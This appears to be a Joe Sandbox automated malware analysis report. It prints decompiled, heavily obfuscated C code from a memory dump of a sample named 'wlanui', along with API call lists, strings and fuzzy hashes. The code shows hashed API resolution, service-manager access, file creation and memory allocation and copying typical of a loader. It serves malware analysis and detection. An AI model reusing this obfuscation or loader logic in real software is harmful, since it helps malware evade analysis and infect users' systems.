				intOrPtr _t62;
				void* _t64;
				void* _t69;
				void* _t72;
				void* _t92;
				void* _t93;
				intOrPtr _t94;
				void* _t97;
				void* _t98;

				_t64 = 0;
				_t28 = 0x29f9e503;
				_t92 = _v528;
				_t2 = _t64 + 1; // 0x1
				_t94 = _t2;
				goto L1;
				do {
					while(1) {
						L1:
						_t97 = _t28 - 0x13fee53b;
						if(_t97 > 0) {
							break;
						}
						if(_t97 == 0) {
							__eflags =  *0x48e310;
							if( *0x48e310 == 0) {
								 *0x48e310 = E00483E60(_t64, E00483F00(0x26f5757c), 0x9ba7cd1, _t94);
							}
							_t49 = OpenSCManagerW(0, 0, 0xf003f); // executed
							_t92 = _t49;
							__eflags = _t92;
							if(_t92 == 0) {
								_t28 = 0x23c48583;
							} else {
								_t50 =  *0x48e54c; // 0x2ce0a8
								 *((intOrPtr*)(_t50 + 0x220)) = _t94;
								_t28 = 0xc471eb;
							}
							continue;
						} else {
							_t98 = _t28 - 0x9835f84;
							if(_t98 > 0) {
								__eflags = _t28 - 0xc0f0991;
								if(_t28 != 0xc0f0991) {
									goto L36;
								} else {
									_t69 =  *0x48dbd8;
									__eflags = _t69;
									if(_t69 == 0) {
										_t69 = E00483E60(_t64, E00483F00(0xd9518805), 0x141622d6, _t94);
										 *0x48dbd8 = _t69;
									}
									_t53 =  *0x48e54c; // 0x2ce0a8
									_t56 =  *_t69(0, _v528, 0, 0, _t53 + 0x18); // executed
									__eflags = _t56;
									_t28 = 0x9835f84;
									_t64 =  ==  ? _t94 : _t64;
									continue;
								}
							} else {
								if(_t98 == 0) {
									E00487C60(_t94);
									_t28 = 0x6addd5c;
									continue;
								} else {
									if(_t28 == 0xc471eb) {
										_v528 = 0xc1a3;
										_t28 = 0x179ed98e;
										_v528 = _v528 + 0xffff1ad7;
										_v528 = _v528 ^ 0xffffdc53;
										continue;
									} else {
										if(_t28 != 0x6addd5c) {
											goto L36;
										} else {
											_t60 =  *0x48e3f4;
											if(_t60 == 0) {
												_t60 = E00483E60(_t64, E00483F00(0x9bab0b12), 0x7dc9b9bb, _t94);
												 *0x48e3f4 = _t60;
											}
											 *_t60(0,  &_v524, 0x104);
											_t62 = E00483D00( &_v536);
											_t72 =  *0x48e54c; // 0x2ce0a8
											 *((intOrPtr*)(_t72 + 0x46c)) = _t62;
											_t28 = 0x39ea8110;
											continue;
										}
									}
								}
							}
						}
						L42:
					}
					__eflags = _t28 - 0x29f9e503;
					if(__eflags > 0) {
						__eflags = _t28 - 0x39ea8110;
						if(_t28 == 0x39ea8110) {
							_t29 =  *0x48dbd8;
							__eflags = _t29;
							if(_t29 == 0) {
								_t29 = E00483E60(_t64, E00483F00(0xd9518805), 0x141622d6, _t94);
								 *0x48dbd8 = _t29;
							}
							 *_t29(0, 0x25, 0, 0,  &_v524);
							_t31 =  *0x48e54c; // 0x2ce0a8
							_t32 = _t31 + 0x234;
							__eflags = _t31 + 0x234;
							E00483040(_t32);
							goto L41;
						} else {
							goto L36;
						}
					} else {
						if(__eflags == 0) {
							_t37 =  *0x48e494;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E00483E60(_t64, E00483F00(0x9bab0b12), 0x7facde30, _t94);
								 *0x48e494 = _t37;
							}
							_t93 =  *_t37();
							_t39 =  *0x48dd18;
							__eflags = _t39;
							if(_t39 == 0) {
								_t39 = E00483E60(_t64, E00483F00(0x9bab0b12), 0x9ff0609c, _t94);
								 *0x48dd18 = _t39;
							}
							_t40 =  *_t39(_t93, 8, 0x480);
							 *0x48e54c = _t40;
							__eflags = _t40;
							if(_t40 == 0) {
								L41:
								return _t64;
							} else {
								 *((intOrPtr*)(_t40 + 4)) = E00487E40;
								_t28 = 0x13fee53b;
								goto L1;
							}
						} else {
							__eflags = _t28 - 0x179ed98e;
							if(_t28 == 0x179ed98e) {
								__eflags =  *0x48e18c;
								if( *0x48e18c == 0) {
									 *0x48e18c = E00483E60(_t64, E00483F00(0x26f5757c), 0x268fe5f0, _t94);
								}
								CloseServiceHandle(_t92); // executed
								_t28 = 0xc0f0991;
								goto L1;
							} else {
								__eflags = _t28 - 0x23c48583;
								if(_t28 != 0x23c48583) {
									goto L36;
								} else {
									_v528 = 0x5332;
									_v528 = _v528 << 6;
									_v528 = _v528 >> 0xf;
									_v528 = _v528 + 0xffffb18f;
									_v528 = _v528 >> 3;
									_v528 = _v528 ^ 0x1ffff62b;
									_t47 =  *0x48e54c; // 0x2ce0a8
									 *((intOrPtr*)(_t47 + 8)) = 0x487e30;
									_t28 = 0xc0f0991;
									goto L1;
								}
							}
						}
					}
					goto L42;
					L36:
					__eflags = _t28 - 0x305b3459;
				} while (_t28 != 0x305b3459);
				return _t64;
				goto L42;
			}

0x00489868
0x0048986a
0x00489871
0x00489875
0x00489875
0x00489878
0x00489880
0x00489880
0x00489880
0x00489880
0x00489885
0x00000000
0x00000000
0x0048988b
0x00489993
0x00489995
0x004899ad
0x004899ad
0x004899bb
0x004899bd
0x004899bf
0x004899c1
0x004899d8
0x004899c3
0x004899c3
0x004899c8
0x004899ce
0x004899ce
0x00000000
0x00489891
0x00489891
0x00489896
0x00489936
0x0048993b
0x00000000
0x00489941
0x00489941
0x00489947
0x00489949
0x00489961
0x00489963
0x00489963
0x00489969
0x0048997d
0x0048997f
0x00489981
0x00489986
0x00000000
0x00489986
0x0048989c
0x0048989c
0x00489927
0x0048992c
0x00000000
0x004898a2
0x004898a7
0x00489905
0x0048990d
0x00489912
0x0048991a
0x00000000
0x004898a9
0x004898ae
0x00000000
0x004898b4
0x004898b4
0x004898bb
0x004898ce
0x004898d3
0x004898d3
0x004898e4
0x004898ea
0x004898ef
0x004898f5
0x004898fb
0x00000000
0x004898fb
0x004898ae
0x004898a7
0x0048989c
0x00489896
0x00000000
0x0048988b
0x004899e2
0x004899e7
0x00489ae3
0x00489ae8
0x00489b02
0x00489b07
0x00489b09
0x00489b1c
0x00489b21
0x00489b21
0x00489b33
0x00489b35
0x00489b3e
0x00489b3e
0x00489b44
0x00000000
0x00000000
0x00000000
0x00000000
0x004899ed
0x004899ed
0x00489a73
0x00489a78
0x00489a7a
0x00489a8d
0x00489a92
0x00489a92
0x00489a99
0x00489a9b
0x00489aa0
0x00489aa2
0x00489ab5
0x00489aba
0x00489aba
0x00489ac7
0x00489ac9
0x00489ace
0x00489ad0
0x00489b4f
0x00489b58
0x00489ad2
0x00489ad2
0x00489ad9
0x00000000
0x00489ad9
0x004899f3
0x004899f3
0x004899f8
0x00489a47
0x00489a49
0x00489a61
0x00489a61
0x00489a67
0x00489a69
0x00000000
0x004899fa
0x004899fa
0x004899ff
0x00000000
0x00489a05
0x00489a05
0x00489a0d
0x00489a12
0x00489a17
0x00489a1f
0x00489a24
0x00489a2c
0x00489a31
0x00489a38
0x00000000
0x00489a38
0x004899ff
0x004899f8
0x004899ed
0x00000000
0x00489aea
0x00489aea
0x00489aea
0x00489b01
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,002CE090), ref: 0048997D
OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F), ref: 004899BB
CloseServiceHandle.ADVAPI32(?,?,3251FEFE,?,?), ref: 00489A67
SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?,?,3251FEFE,?,?), ref: 00489B33

Strings

Y4[0, xrefs: 00489AEA
2S, xrefs: 00489A05

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: FolderPath$CloseHandleManagerOpenService
String ID: 2S$Y4[0
API String ID: 2382770032-4131004879
Opcode ID: 1c28efd76755ec73549aabe951847f62883a5d0dad7f67930b4091577e84b1c8
Instruction ID: cfa66bbbd72260fdad5381044d96bcb5c07835bd81d1921ea5a11627232b61ef
Opcode Fuzzy Hash: 1c28efd76755ec73549aabe951847f62883a5d0dad7f67930b4091577e84b1c8
Instruction Fuzzy Hash: 5361D270B046015BDB18BF69989573F3295EB90B08F180C2FF606DB391EA38DD05979E

Uniqueness

Uniqueness Score: -1.00%

Function 00488400, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00488400(void* __ebx, void* __ebp) {
				short _v524;
				char _v564;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				intOrPtr _v596;
				intOrPtr* _t75;
				intOrPtr* _t82;
				intOrPtr* _t85;
				void* _t92;
				intOrPtr* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				signed int _t119;
				void* _t121;
				void* _t122;
				signed int _t123;
				intOrPtr _t124;
				void* _t126;
				void* _t129;

				_t126 = __ebp;
				_t101 = __ebx;
				_v584 = 0xdbec;
				_v584 = _v584 + 0xa437;
				_v584 = _v584 | 0x0afcf5fb;
				_v584 = _v584 ^ 0x9493ba05;
				_v584 = _v584 >> 0xc;
				_v584 = _v584 >> 0xb;
				_v584 = _v584 ^ 0x000001bc;
				_v592 = 0x7d19;
				_v592 = _v592 << 9;
				_v592 = _v592 >> 0xe;
				_v592 = _v592 + 0xffff07e5;
				_v592 = _v592 | 0x8aea6eef;
				_v592 = _v592 + 0xd867;
				_v592 = _v592 + 0x9c41;
				_v592 = _v592 + 0x3de0;
				_v592 = _v592 + 0x218b;
				_v592 = _v592 ^ 0x00014403;
				_v588 = 0x2591;
				_t123 = 0x4a20241;
				_v588 = _v588 * 0x7d;
				_v588 = _v588 + 0x8d68;
				_v588 = _v588 + 0xffff8911;
				_v588 = _v588 * 0x6a;
				_v588 = _v588 + 0xffff93d5;
				_v588 = _v588 ^ 0x07a13cd2;
				_v580 = 0x789;
				_v580 = _v580 >> 1;
				_v580 = _v580 ^ 0xaee58af2;
				_v580 = _v580 ^ 0xaee58936;
				_t122 = _v580;
				goto L1;
				do {
					while(1) {
						L1:
						_t129 = _t123 - 0x1aed34c4;
						if(_t129 > 0) {
							break;
						}
						if(_t129 == 0) {
							_v580 = 0xa8c00;
							_v576 = 0;
							_v596 = E0048B6E0(_v580, _v576, 0x989680, 0);
							_v592 = _t119;
							_t121 = _v588 - _v564;
							_t124 = _v596;
							asm("sbb ecx, [esp+0x3c]");
							__eflags = _v584 - _v592;
							if(__eflags < 0) {
								goto L16;
							} else {
								if(__eflags > 0) {
									L29:
									return 1;
								} else {
									__eflags = _t121 - _t124;
									if(_t121 < _t124) {
										goto L16;
									} else {
										goto L29;
									}
								}
							}
						} else {
							if(_t123 == 0x12f5064) {
								_t82 =  *0x48dec0;
								__eflags = _t82;
								if(_t82 == 0) {
									_t99 = E00483F00(0x9bab0b12);
									_t119 = 0x8b0c7279;
									_t82 = E00483E60(_t101, _t99, 0x8b0c7279, _t126);
									 *0x48dec0 = _t82;
								}
								 *_t82(_t122, 0,  &_v564, 0x28);
								asm("sbb esi, esi");
								_t85 =  *0x48de3c;
								_t123 = (_t123 & 0xf96a5287) + 0x13ef6fdf;
								__eflags = _t85;
								if(_t85 == 0) {
									_t98 = E00483F00(0x9bab0b12);
									_t119 = 0x20de7595;
									_t85 = E00483E60(_t101, _t98, 0x20de7595, _t126);
									 *0x48de3c = _t85;
								}
								 *_t85(_t122);
								goto L15;
							} else {
								if(_t123 == 0x4a20241) {
									_t123 = 0x33602029;
									continue;
								} else {
									if(_t123 != 0xd59c266) {
										goto L15;
									} else {
										_t93 =  *0x48e1d4;
										if(_t93 == 0) {
											_t97 = E00483F00(0x9bab0b12);
											_t119 = 0xa229df38;
											_t93 = E00483E60(_t101, _t97, 0xa229df38, _t126);
											 *0x48e1d4 = _t93;
										}
										 *_t93( &_v572);
										_t123 = 0x1aed34c4;
										continue;
									}
								}
							}
						}
						L30:
					}
					__eflags = _t123 - 0x33602029;
					if(_t123 == 0x33602029) {
						_t75 =  *0x48e3f4;
						__eflags = _t75;
						if(_t75 == 0) {
							_t100 = E00483F00(0x9bab0b12);
							_t119 = 0x7dc9b9bb;
							_t75 = E00483E60(_t101, _t100, 0x7dc9b9bb, _t126);
							 *0x48e3f4 = _t75;
						}
						 *_t75(0,  &_v524, 0x104);
						_t123 = 0x3ae77736;
						goto L1;
					} else {
						__eflags = _t123 - 0x3ae77736;
						if(_t123 != 0x3ae77736) {
							goto L15;
						} else {
							__eflags =  *0x48de04;
							if( *0x48de04 == 0) {
								_t95 = E00483F00(0x9bab0b12);
								_t119 = 0xb66d748a;
								 *0x48de04 = E00483E60(_t101, _t95, 0xb66d748a, _t126);
							}
							_t92 = CreateFileW( &_v524, _v584, _v592, 0, _v588, _v580, 0); // executed
							_t122 = _t92;
							__eflags = _t122 - 0xffffffff;
							if(_t122 == 0xffffffff) {
								break;
							} else {
								_t123 = 0x12f5064;
								goto L1;
							}
						}
					}
					goto L30;
					L15:
					__eflags = _t123 - 0x13ef6fdf;
				} while (_t123 != 0x13ef6fdf);
				L16:
				__eflags = 0;
				return 0;
				goto L30;
			}

0x00488400
0x00488400
0x00488406
0x0048840e
0x00488416
0x0048841e
0x00488426
0x0048842b
0x00488430
0x00488438
0x00488440
0x00488445
0x0048844a
0x00488452
0x0048845a
0x00488462
0x0048846a
0x00488472
0x0048847a
0x00488482
0x00488491
0x00488496
0x0048849a
0x004884a2
0x004884af
0x004884b3
0x004884bb
0x004884c3
0x004884cb
0x004884cf
0x004884d7
0x004884df
0x004884df
0x004884e3
0x004884e3
0x004884e3
0x004884e3
0x004884e9
0x00000000
0x00000000
0x004884ef
0x0048866e
0x00488676
0x00488696
0x0048869a
0x004886a2
0x004886a6
0x004886aa
0x004886b2
0x004886b4
0x00000000
0x004886ba
0x004886ba
0x004886c5
0x004886d1
0x004886bc
0x004886bc
0x004886be
0x00000000
0x00000000
0x00000000
0x00000000
0x004886be
0x004886ba
0x004884f5
0x004884fb
0x0048854a
0x0048854f
0x00488551
0x00488558
0x0048855d
0x00488564
0x00488569
0x00488569
0x00488578
0x0048857c
0x0048857e
0x00488589
0x0048858f
0x00488591
0x00488598
0x0048859d
0x004885a4
0x004885a9
0x004885a9
0x004885af
0x00000000
0x004884fd
0x00488503
0x00488543
0x00000000
0x00488505
0x0048850b
0x00000000
0x00488511
0x00488511
0x00488518
0x0048851f
0x00488524
0x0048852b
0x00488530
0x00488530
0x0048853a
0x0048853c
0x00000000
0x0048853c
0x0048850b
0x00488503
0x004884fb
0x00000000
0x004884ef
0x004885c8
0x004885ce
0x00488630
0x00488635
0x00488637
0x0048863e
0x00488643
0x0048864a
0x0048864f
0x0048864f
0x00488660
0x00488662
0x00000000
0x004885d0
0x004885d0
0x004885d6
0x00000000
0x004885d8
0x004885de
0x004885e0
0x004885e7
0x004885ec
0x004885fa
0x004885fa
0x0048861d
0x0048861f
0x00488621
0x00488624
0x00000000
0x00488626
0x00488626
0x00000000
0x00488626
0x00488624
0x004885d6
0x00000000
0x004885b1
0x004885b1
0x004885b1
0x004885bd
0x004885bd
0x004885c7
0x00000000

APIs

CreateFileW.KERNEL32(?,?,?,00000000,?,?,00000000,?,3251FEFE), ref: 0048861D

Strings

=, xrefs: 0048846A
6w:, xrefs: 004885D0
) `3, xrefs: 004885C8
6w:, xrefs: 00488662
) `3, xrefs: 00488543

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: ) `3$) `3$6w:$6w:$=
API String ID: 823142352-4124229693
Opcode ID: a5a759ea35137b7943c6cfcd25b86c10405ba6961c7497123c9102769c496a88
Instruction ID: 9da8ac49030be37bca3f176df4ff0e195158475f46f9e8fa5770e71ce50b1dc4
Opcode Fuzzy Hash: a5a759ea35137b7943c6cfcd25b86c10405ba6961c7497123c9102769c496a88
Instruction Fuzzy Hash: F661F571A083129FC714EF69C94562FB7E5ABE0718F408C1EF59997290EB78CD058F8A

Uniqueness

Uniqueness Score: -1.00%

Function 00460D60, Relevance: 9.1, APIs: 6, Instructions: 124
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 00460F08
Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 00460F3E
Part of subcall function 00460FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 00460F7F

VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 00460DB4
RtlMoveMemory.NTDLL(00000000,?,?), ref: 00460DC3

Part of subcall function 00461140: lstrcpynW.KERNEL32(00000000,00000000,00000000,00000010,00460EFD,00000000), ref: 00461155

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 00460E11
VirtualAlloc.KERNEL32(?,?,00000000,?,?), ref: 00460E3D
RtlMoveMemory.NTDLL(00000000,?,?), ref: 00460E6C
RtlFillMemory.KERNEL32(00000000,?,00000000), ref: 00460E98

Memory Dump Source

Source File: 0000000F.00000002.2335360642.0000000000460000.00000040.00000001.sdmp, Offset: 00460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_460000_wlanui.jbxd

Similarity

API ID: Memory$Move$AllocVirtual$Filllstrcpyn
String ID:
API String ID: 3581289920-0
Opcode ID: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction ID: 6d93d3069dbfeab79e940599e26b22b5accb09dc885d9078bc5b271b94a1f879
Opcode Fuzzy Hash: 98a03950a6b87b5ad15d3b8fee512a0dc4eebefe5bb086351cc2e195eb997952
Instruction Fuzzy Hash: 3731B271A043506BD724DB61C944AAB73E9EBC8385F040D2EB549D3351F73AD881876B

Uniqueness

Uniqueness Score: -1.00%

Function 00487120, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00487120(void* __ebx) {
				void* _t2;
				struct HINSTANCE__* _t8;
				intOrPtr* _t9;
				intOrPtr* _t11;
				void* _t21;
				intOrPtr _t23;
				void* _t48;
				WCHAR* _t51;
				void* _t53;
				void* _t54;
				void* _t55;

				_t21 = __ebx;
				_t2 = 0x291da748;
				goto L1;
				do {
					while(1) {
						L1:
						_t54 = _t2 - 0x1a8031ec;
						if(_t54 > 0) {
							break;
						}
						if(_t54 == 0) {
							_t51 = E004834C0(0x48d830);
							__eflags =  *0x48dd1c;
							if( *0x48dd1c == 0) {
								 *0x48dd1c = E00483E60(_t21, E00483F00(0x9bab0b12), 0xe4b28d97, _t53);
							}
							_t8 = LoadLibraryW(_t51);
							_t23 =  *0x48e548; // 0x307e60
							 *(_t23 + 0x4c) = _t8;
							_t9 =  *0x48e494;
							__eflags = _t9;
							if(_t9 == 0) {
								_t9 = E00483E60(_t21, E00483F00(0x9bab0b12), 0x7facde30, _t53);
								 *0x48e494 = _t9;
							}
							_t48 =  *_t9();
							_t11 =  *0x48df30;
							__eflags = _t11;
							if(_t11 == 0) {
								_t11 = E00483E60(_t21, E00483F00(0x9bab0b12), 0x5010a54d, _t53);
								 *0x48df30 = _t11;
							}
							return  *_t11(_t48, 0, _t51);
						} else {
							_t55 = _t2 - 0x185e9846;
							if(_t55 > 0) {
								__eflags = _t2 - 0x18843476;
								if(__eflags != 0) {
									goto L21;
								} else {
									E00487080(_t21, 0x48d7a0, 4, __eflags);
									_t2 = 0x2eb73d4f;
									continue;
								}
							} else {
								if(_t55 == 0) {
									E00487080(_t21, 0x48d8f0, 2, __eflags);
									_t2 = 0x9da2520;
									continue;
								} else {
									if(_t2 == 0x9da2520) {
										E00487080(_t21, 0x48d800, 3, __eflags);
										_t2 = 0x18843476;
										continue;
									} else {
										_t57 = _t2 - 0x15a7f569;
										if(_t2 != 0x15a7f569) {
											goto L21;
										} else {
											E00487080(_t21, 0x48d860, 0, _t57);
											_t2 = 0x39797244;
											continue;
										}
									}
								}
							}
						}
						L30:
					}
					__eflags = _t2 - 0x2eb73d4f;
					if(__eflags > 0) {
						__eflags = _t2 - 0x39797244;
						if(__eflags != 0) {
							goto L21;
						} else {
							E00487080(_t21, 0x48d890, 1, __eflags);
							_t2 = 0x185e9846;
							goto L1;
						}
					} else {
						if(__eflags == 0) {
							E00487080(_t21, 0x48d7e0, 5, __eflags);
							_t2 = 0x22a44863;
							goto L1;
						} else {
							__eflags = _t2 - 0x22a44863;
							if(__eflags == 0) {
								E00487080(_t21, 0x48d8c0, 6, __eflags);
								_t2 = 0x1a8031ec;
								goto L1;
							} else {
								__eflags = _t2 - 0x291da748;
								if(__eflags != 0) {
									goto L21;
								} else {
									_t2 = 0x15a7f569;
									goto L1;
								}
							}
						}
					}
					goto L30;
					L21:
					__eflags = _t2 - 0x21acdd7e;
				} while (__eflags != 0);
				return _t2;
				goto L30;
			}

0x00487120
0x00487120
0x00487120
0x00487125
0x00487125
0x00487125
0x00487125
0x0048712a
0x00000000
0x00000000
0x00487130
0x0048723f
0x00487246
0x00487248
0x00487260
0x00487260
0x00487266
0x00487268
0x0048726e
0x00487271
0x00487276
0x00487278
0x0048728b
0x00487290
0x00487290
0x00487297
0x00487299
0x0048729e
0x004872a0
0x004872b3
0x004872b8
0x004872b8
0x004872c5
0x00487136
0x00487136
0x0048713b
0x00487190
0x00487195
0x00000000
0x0048719b
0x004871a5
0x004871aa
0x00000000
0x004871aa
0x0048713d
0x0048713d
0x00487184
0x00487189
0x00000000
0x0048713f
0x00487144
0x0048716e
0x00487173
0x00000000
0x00487146
0x00487146
0x0048714b
0x00000000
0x00487151
0x00487158
0x0048715d
0x00000000
0x0048715d
0x0048714b
0x00487144
0x0048713d
0x0048713b
0x00000000
0x00487130
0x004871b4
0x004871b9
0x00487207
0x0048720c
0x00000000
0x0048720e
0x00487218
0x0048721d
0x00000000
0x0048721d
0x004871bb
0x004871bb
0x004871f8
0x004871fd
0x00000000
0x004871bd
0x004871bd
0x004871c2
0x004871df
0x004871e4
0x00000000
0x004871c4
0x004871c4
0x004871c9
0x00000000
0x004871cb
0x004871cb
0x00000000
0x004871cb
0x004871c9
0x004871c2
0x004871bb
0x00000000
0x00487227
0x00487227
0x00487227
0x00487232
0x00000000

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,004868AC), ref: 00487266

Strings

Dry9, xrefs: 00487207
Dry9, xrefs: 0048715D
`~0, xrefs: 00487268

Memory Dump Source

Source File: 0000000F.00000002.2335374791.0000000000481000.00000020.00000001.sdmp, Offset: 00480000, based on PE: true

Associated: 0000000F.00000002.2335370463.0000000000480000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335386868.000000000048D000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.2335391948.000000000048F000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_480000_wlanui.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: Dry9$Dry9$`~0
API String ID: 1029625771-3531319433
Opcode ID: a9dfa365f8032d6b3aaf3dda42931ff0ea85fc48eb216d0a37d59ef9a1e7d5c1
Instruction ID: 66106714440e131fab14b10a8e93016a10e6ad252dfb3435b535883a5325fca6
Opcode Fuzzy Hash: a9dfa365f8032d6b3aaf3dda42931ff0ea85fc48eb216d0a37d59ef9a1e7d5c1
Instruction Fuzzy Hash: 7B316420B1D10043DA28FABA58B572F11A6DBA1708B744C6FF661CBB95DE2DCD02539E

Uniqueness

Uniqueness Score: -1.00%

Function 004830A0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E004830A0() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t61;
				intOrPtr* _t62;
				void* _t65;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr _t107;
				intOrPtr* _t116;
				void* _t127;
				void* _t128;
				intOrPtr _t129;
				signed int _t134;
				void* _t135;
				void* _t136;

				_t93 =  *((intOrPtr*)(_t135 + 0xc));
				_t61 = 0x11f367c2;
				_t134 =  *(_t135 + 0x10);
				_t129 =  *((intOrPtr*)(_t135 + 0x14));
				_t127 =  *(_t135 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t136 = _t61 - 0x12466c01;
							if(_t136 > 0) {
								break;
							}
							if(_t136 == 0) {
								if(_t93 !=  *(_t135 + 0x18)) {
									L29:
									return 1;
								} else {
									_t61 = 0x2f21cdd2;
									continue;
								}
							} else {
								if(_t61 == 0x7a26146) {
									_t61 =  ==  ? 0x2f21cdd2 : 0x12466c01;
									continue;
								} else {
									if(_t61 == 0x8928514) {
										_t95 =  *0x48e1cc;
										if(_t95 == 0) {
											_t95 = E00483E60(_t93, E00483F00(0x55ab7d30), 0x815a9da3, _t134);
											 *0x48e1cc = _t95;
										}
										_t129 =  *_t95(_t134 + 0x2c);
										_t61 = 0x39d78901;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										if(_t61 != 0x11f367c2) {
											goto L18;
										} else {
											 *(_t135 + 0x18) = 0x2e7c;
											 *(_t135 + 0x18) = 0x3e0f83e1 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 7;
											 *(_t135 + 0x18) = 0x2f149903 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) + 0xffff1475;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) * 0x15;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 2;
											 *(_t135 + 0x18) = 0x22b63cbf *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) ^ 0x8ee7705c;
											 *(_t135 + 0x10) = 0xa461;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) << 0xe;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) * 8 -  *(_t135 + 0x10) << 2;
											_t61 = 0x8928514;
											 *(_t135 + 0x10) = 0x51eb851f *  *(_t135 + 0x10) >> 0x20 >> 3;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) + 0xffffb6ab;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) ^ 0x88f30986;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
							L30:
						}
						if(_t61 == 0x2f21cdd2) {
							_t62 =  *0x48e494;
							if(_t62 == 0) {
								_t62 = E00483E60(_t93, E00483F00(0x9bab0b12), 0x7facde30, _t134);
								 *0x48e494 = _t62;
							}
							_t128 =  *_t62();
							if( *0x48dd18 == 0) {
								 *0x48dd18 = E00483E60(_t93, E00483F00(0x9bab0b12), 0x9ff0609c, _t134);
							}
							_t65 = RtlAllocateHeap(_t128, 8, 0x24c); // executed
							_t127 = _t65;
							if(_t127 == 0) {
								goto L29;
							} else {
								_t61 = 0x35eaa088;
								goto L1;
							}
						} else {
							if(_t61 == 0x35eaa088) {
								_t116 =  *0x48e43c;
								if(_t116 == 0) {
									_t116 = E00483E60(_t93, E00483F00(0x9bab0b12), 0x2df4d385, _t134);
									 *0x48e43c = _t116;
								}
								 *_t116(_t127 + 0x3c, _t134 + 0x2c, (_t129 - _t134 - 0x2c >> 1) + 1);
								_t107 =  *((intOrPtr*)(_t135 + 0x1c));
								 *(_t127 + 0x2c) =  *(_t107 + 0x1c);
								 *((intOrPtr*)(_t107 + 0xc)) =  *((intOrPtr*)(_t107 + 0xc)) + 1;
								 *(_t107 + 0x1c) = _t127;
								goto L29;
							} else {
								if(_t61 != 0x39d78901) {
									goto L18;
								} else {
									_t93 = E00483D00(_t129);
									_t61 = 0x7a26146;
									while(1) {
										L1:
										goto L2;
									}
								}
							}
						}
						goto L30;
						L18:
					} while (_t61 != 0x100ad7b4);
					return 1;
					goto L30;
				}
			}

0x004830a2
0x004830a6
0x004830ac
0x004830b1
0x004830b6
0x004830ba
0x004830ba
0x004830c0
0x004830c0
0x004830c0
0x004830c0
0x004830c5
0x00000000
0x00000000
0x004830cb
0x004831f1
0x004832f9
0x00483300
0x004831f7
0x004831f7
0x00000000
0x004831f7
0x004830d1
0x004830d6
0x004831e5
0x00000000
0x004830dc
0x004830e1
0x004831a0
0x004831a8
0x004831c0
0x004831c2
0x004831c2
0x004831ce
0x004831d0
0x004830ba
0x004830ba
0x00000000
0x004830ba
0x004830e7
0x004830ec
0x00000000
0x004830f2
0x004830f2
0x0048310d
0x00483111
0x0048311f
0x00483123
0x00483130
0x00483139
0x00483147
0x0048314b
0x00483153
0x0048315b
0x00483175
0x0048317f
0x00483187
0x0048318b
0x00483193
0x004830ba
0x004830ba
0x00000000
0x004830ba
0x004830ba
0x004830ec
0x004830e1
0x004830d6
0x00000000
0x004830cb
0x00483206
0x00483245
0x0048324c
0x0048325f
0x00483264
0x00483264
0x0048326b
0x00483274
0x0048328c
0x0048328c
0x00483299
0x0048329b
0x0048329f
0x00000000
0x004832a1
0x004832a1
